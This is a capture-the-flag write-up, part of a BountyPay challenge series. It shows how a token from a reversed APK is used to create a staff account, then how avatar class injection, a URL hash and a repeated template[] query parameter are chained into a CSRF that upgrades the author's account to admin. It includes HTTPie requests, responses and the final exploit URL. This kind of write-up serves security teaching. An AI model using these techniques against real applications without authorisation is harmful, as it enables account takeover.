V - Know your staff

Getting an account on staff.bountypay

We skipped some things in part II, to make the report more readable, that we now need since we don't know what to do with the token that we got from reversing the APK.

The most interesting thing is that there is a staff endpoint on the api which throws an error saying Missing or invalid Token:

http get https://api.bountypay.h1ctf.com/api/staff
HTTP/1.1 401 Unauthorized
Connection: keep-alive
Content-Type: application/json
Date: Thu, 04 Jun 2020 19:50:18 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked

[
    "Missing or invalid Token"
]

Let's see what happens when we send the token that we got from reversing the apk:

http get https://api.bountypay.h1ctf.com/api/staff \
X-Token:8e9998ee3137ca9ade8f372739f062c1
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Wed, 03 Jun 2020 20:37:41 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked

[
    {
        "name": "Sam Jenkins",
        "staff_id": "STF:84DJKEIP38"
    },
    {
        "name": "Brian Oliver",
        "staff_id": "STF:KE624RQ2T9"
    }
]

The endpoint now returns two accounts. Something I did not notice at first is that the same endpoint also answers to POST requests. This can be explained since in part II, I limited my recon to enumerating directories and files using GET requests. Something to keep in mind when working with APIs, always test the different HTTP methods 😉

http post https://api.bountypay.h1ctf.com/api/staff \
X-Token:8e9998ee3137ca9ade8f372739f062c1
HTTP/1.1 400 Bad Request
Connection: keep-alive
Content-Type: application/json
Date: Wed, 03 Jun 2020 21:21:15 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked

[
    "Missing Parameter"
]

With the POST method we get a different error message "Missing Parameter". The logical thing to do is to try the parameters that we saw in the GET request (name and staff_id). When we send the parameter staff_id with a dummy value we get an error message "Invalid Staff ID".

http -f post https://api.bountypay.h1ctf.com/api/staff \
X-Token:8e9998ee3137ca9ade8f372739f062c1 \
staff_id=a
HTTP/1.1 404 Not Found
Connection: keep-alive
Content-Type: application/json
Date: Wed, 03 Jun 2020 21:22:44 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked

[
    "Invalid Staff ID"
]

If we try set to value of staff_id to the value associated with Sam Jenkins or Brian Oliver we get an error saying "Staff Member has an account", which makes sense since this endpoint is probably used to create a new staff account.

http -f post https://api.bountypay.h1ctf.com/api/staff \
X-Token:8e9998ee3137ca9ade8f372739f062c1 \
staff_id=STF:KE624RQ2T9
HTTP/1.1 409 Conflict
Connection: keep-alive
Content-Type: application/json
Date: Wed, 03 Jun 2020 21:25:07 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked

[
    "Staff Member already has an account"
]

Now you might remember that in part I we found the staff_id of a new employee named Sandra. Let's see what happens when we send this staff_id:

http -f post https://api.bountypay.h1ctf.com/api/staff \
X-Token:8e9998ee3137ca9ade8f372739f062c1 \
staff_id=STF:8FJ3KFISL3
HTTP/1.1 201 Created
Connection: keep-alive
Content-Type: application/json
Date: Wed, 03 Jun 2020 21:28:01 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked

{
    "description": "Staff Member Account Created",
    "password": "s%3D8qB8zEpMnc*xsz7Yp5",
    "username": "sandra.allison"
}

Nice we now have an account for the Staff application !

Getting Mårten Mickos account

Once we are logged in we can see 4 differents tabs:

  • Home

  • Support Tickets

  • Profile

  • Logout

Homepage

There is only 1 ticket named "Welcome to BountyPay" from Admin to Sandra:

Support Tickets

There are not action possible on this screen since it appears that replies are currently disabled. Looking at the source code of the page, there is no reference to any endpoint that we could use to send a reply.

Ticket 3582

On the profile page there are two settings that we can update, the profile name and the avatar.

Profile

There is also a feature that is a bit hidden in the footer that allow us to report a page to the admins with a comment saying that the admin directory will be ignored.

Report Page

The last interesting thing is a bit of JavaScript:

/js/website.js
$(".upgradeToAdmin").click(function() {
  let t = $('input[name="username"]').val();
  $.get("/admin/upgrade?username=" + t, function() {
    alert("User Upgraded to Admin")
  })
});

$(".tab").click(function() {
  return $(".tab").removeClass("active"), 
  $(this).addClass("active"), 
  $("div.content").addClass("hidden"), 
  $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1
}); 

$(".sendReport").click(function() {
  $.get("/admin/report?url=" + url, function() {
    alert("Report sent to admin team")
  }), $("#myModal").modal("hide")
});

document.location.hash.length > 0 &&
("#tab1" === document.location.hash &&
  $(".tab1").trigger("click"), "#tab2" === document.location.hash &&
  $(".tab2").trigger("click"), "#tab3" === document.location.hash &&
  $(".tab3").trigger("click"), "#tab4" === document.location.hash &&
  $(".tab4").trigger("click")
);

In this JavaScript file we can see multiple things:

  • There is an /admin/upgrade endpoint which will use the value of an input with the name username as the username

  • Clicking on an element with the sendReport class will trigger a GET request to the /admin/report?url=

  • Based on the hash present in the URL, a click will be simulated to go directly to the right tab

Let's start investigating the upgrade endpoint since this our goal is probably to get an admin account. Of course simply requesting the endpoint would be too easy and we get an error if we try to do so :(

http get https://staff.bountypay.h1ctf.com/admin/upgrade
HTTP/1.1 401 Unauthorized
Connection: keep-alive
Content-Type: application/json
Date: Fri, 05 Jun 2020 17:24:01 GMT
Server: nginx/1.14.0 (Ubuntu)
Transfer-Encoding: chunked

[
    "Only admins can perform this"
]

At this point it appears that we will need to find a way to trick an admin users into upgrading our account. Let's see if we can find a way to perform a Cross-Site Request Forgery (CSRF) attack. Since the method used to upgrade the account is GET (don't do that) we don't need a Cross-Site Scripting (XSS) and being able to inject an image would be sufficient:

<img src="/admin/upgrade?username=sandra.allison" />

The profile page appears to be our best candidate to find such a vulnerability since:

  • We cannot use the report feature here as the /admin directory is ignored

  • The ticket page does not provide us with a way to send a reply

Let's look at the request used to update our profile name:

http -f post "https://staff.bountypay.h1ctf.com/?template=home" \
Cookie:'token=c0...' \
profile_name=%3Cs%3Esandra%3C%2Fs%3E

Here I'm trying to inject the followin payload: <s>sandra</s> but we can see that all special characters are filtered both on the profile page and on the tickets page.

The request to change our avatar is working in a similar fashion. There are only three avatars available and when you switch the value avartar1, avatar2 or avatar3 is sent.

http -f post "https://staff.bountypay.h1ctf.com/?template=home" \
Cookie:'token=c0...' \
profile_name=ssandras \
profile_avatar=avatar3

The value is then used to set a different background image for the div using CSS:

<div class="col-md-12 text-center">
  <div style="margin:auto" class="avatar avatar3"></div>
</div>
.avatar1 {
    background-image:url("data:image/png;base64,iVB...=");
}

.avatar2 {
    background-image:url("data:image/png;base64,iVB...=");
}

.avatar3 {
    background-image:url("data:image/png;base64,iVB...=");
}

Something interesting is that even though, like for our profile name special characters are stripped, we can still use this to set an arbitrary class (or multiple, the space character is allowed) on the div.

At first, it looks like that we might be able to set our avatar to upgradeToAdmin and if we can trick an admin into clicking our avatar then we will be admin but there are a couple of issues:

  • We need to find a page where our avatar will be displayed (this cannot be the profile page since this will not be our avatar that is displayed)

  • We should get rid of the click requirements (since this is a CTF we cannot expect that a human will manually click on our avatar)

  • We need in input in the page with username as its name

The first requirement is easy, the ticket page ?template=ticket&ticket_id=3582 will display our avatar to anyone who clicks on it. The second one is doable since we can set the tab3 class on the avatar as well as set it as a hash in the link we will send to the admin using the report url.

So far our avatar is set to tab3 upgradeToAdmin and the link we need to report looks like this:

/?template=ticket&ticket_id=3582#tab3

At this point the third requirement looks impossible since the only place where there is an input with a name of username is the login page. The good news is that we can set the value of the field by passing the username as a get parameter.

?template=login&username=test

Great ! If only we could load both template at the same time... Maybe if we can send multiple values for the template param ?

The same way there is no concensus over how objects should be represented in query parameters, there is no standardized way to format arrays of values in query parameters. Here are some ways to do it:

?foo=bar&foo=qux
?foo[]=bar&foo[]=qux
?foo=bar,qux

Luckily for us, repeating the parameter along with empty square brackets did the trick ! Our final payload looks like this:

/?template[]=login&template[]=ticket&username=sandra.allison&ticket_id=3582#tab3

When we submit it using the report page feature we get back an updated cookie which let us acces the admin tab revealing the credentials of Marten Mickos !

Admin

Something I have not mentioned is that for this part, every information (profile name and avatar) was actually stored in the cookie and there was no data persistance which might be confusing since this means that this attack could not work. Indeed the admin would have a different cookie without our information. Since everything was pointing in the same direction I tought this was probably simulated and that we could ignore it. This was later confirmed to me by @adamtlangley the creator of the challenge.

Last updated

Was this helpful?